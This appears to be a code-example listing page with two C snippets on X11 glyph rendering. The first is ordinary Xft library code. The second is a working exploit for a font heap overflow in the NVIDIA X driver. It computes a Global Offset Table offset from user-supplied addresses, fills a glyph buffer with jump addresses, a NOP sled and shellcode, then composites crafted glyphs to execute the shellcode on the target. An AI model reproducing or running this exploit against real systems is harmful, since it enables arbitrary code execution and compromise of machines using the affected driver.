Пример #1
0
void
XftGlyphRender (Display		*dpy,
		int		op,
		Picture		src,
		XftFont		*pub,
		Picture		dst,
		int		srcx,
		int		srcy,
		int		x,
		int		y,
		_Xconst FT_UInt	*glyphs,
		int		nglyphs)
{
    XftFontInt	    *font = (XftFontInt *) pub;
    int		    i;
    FT_UInt	    missing[XFT_NMISSING];
    int		    nmissing;
    FT_UInt	    g, max;
    int		    size, width;
    Glyph	    wire;
    char	    *char8;
    unsigned short  *char16;
    unsigned int    *char32;
    unsigned int    char_local[NUM_LOCAL];
    unsigned int    *chars;
    FcBool	    glyphs_loaded;
    
    if (!font->format)
	return;
    
    /*
     * Load missing glyphs
     */
    nmissing = 0;
    max = 0;
    glyphs_loaded = FcFalse;
    for (i = 0; i < nglyphs; i++)
    {
	g = glyphs[i];
	if (g > max)
	    max = g;
	if (XftFontCheckGlyph (dpy, pub, FcTrue, g, missing, &nmissing))
	    glyphs_loaded = FcTrue;
    }
    if (nmissing)
	XftFontLoadGlyphs (dpy, pub, FcTrue, missing, nmissing);
    
    if (!font->glyphset)
	goto bail1;
    if (max < 0x100)
    {
	width = 1;
	size = sizeof (char);
    }
    else if (max < 0x10000)
    {
	width = 2;
	size = sizeof (unsigned short);
    }
    else
    {
	width = 4;
	size = sizeof (unsigned int);
    }
    chars = char_local;
    if (nglyphs * size > sizeof (char_local))
    {
	chars = malloc (nglyphs * size);
	if (!chars)
	    goto bail1;
    }
    char8 = (char *) chars;
    char16 = (unsigned short *) chars;
    char32 = (unsigned int *) chars;
    for (i = 0; i < nglyphs; i++)
    {
	wire = (Glyph) glyphs[i];
	if (wire >= font->num_glyphs || !font->glyphs[wire])
	    wire = 0;
	switch (width) {
	case 1: char8[i] = (char) wire; break;
	case 2: char16[i] = (unsigned short) wire; break;
	case 4: char32[i] = (unsigned long) wire; break;
	}
    }
    switch (width) {
    case 1:
    default:
	XRenderCompositeString8 (dpy, op,
				 src, dst, font->format, font->glyphset,
				 srcx, srcy, x, y, char8, nglyphs);
	break;
    case 2:
	XRenderCompositeString16(dpy, op,
				 src, dst, font->format, font->glyphset,
				 srcx, srcy, x, y, char16, nglyphs);
	break;
    case 4:
	XRenderCompositeString32(dpy, op,
				 src, dst, font->format, font->glyphset,
				 srcx, srcy, x, y, char32, nglyphs);
	break;
    }
    if (chars != char_local)
	free (chars);
bail1:
    if (glyphs_loaded)
	_XftFontManageMemory (dpy, pub);
}
Пример #2
0
int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
       *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                string[cr] = 'C'; cr++;
                                string[cr] = 'A'; cr++;
                                string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
            case KeyPress:
                i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                    done = 1;
                }
                break;
            case Expose:
                XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
                /* Send malignant glyphs and execute shellcode on target */
                XRenderCompositeString8(display, PictOpOver,
                        XftDrawSrcPicture(data->draw, &data->color),
                        XftDrawPicture(data->draw), mask, gset,
                        0, 0, xscreenpos, 0, string, strlen(string));
                break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}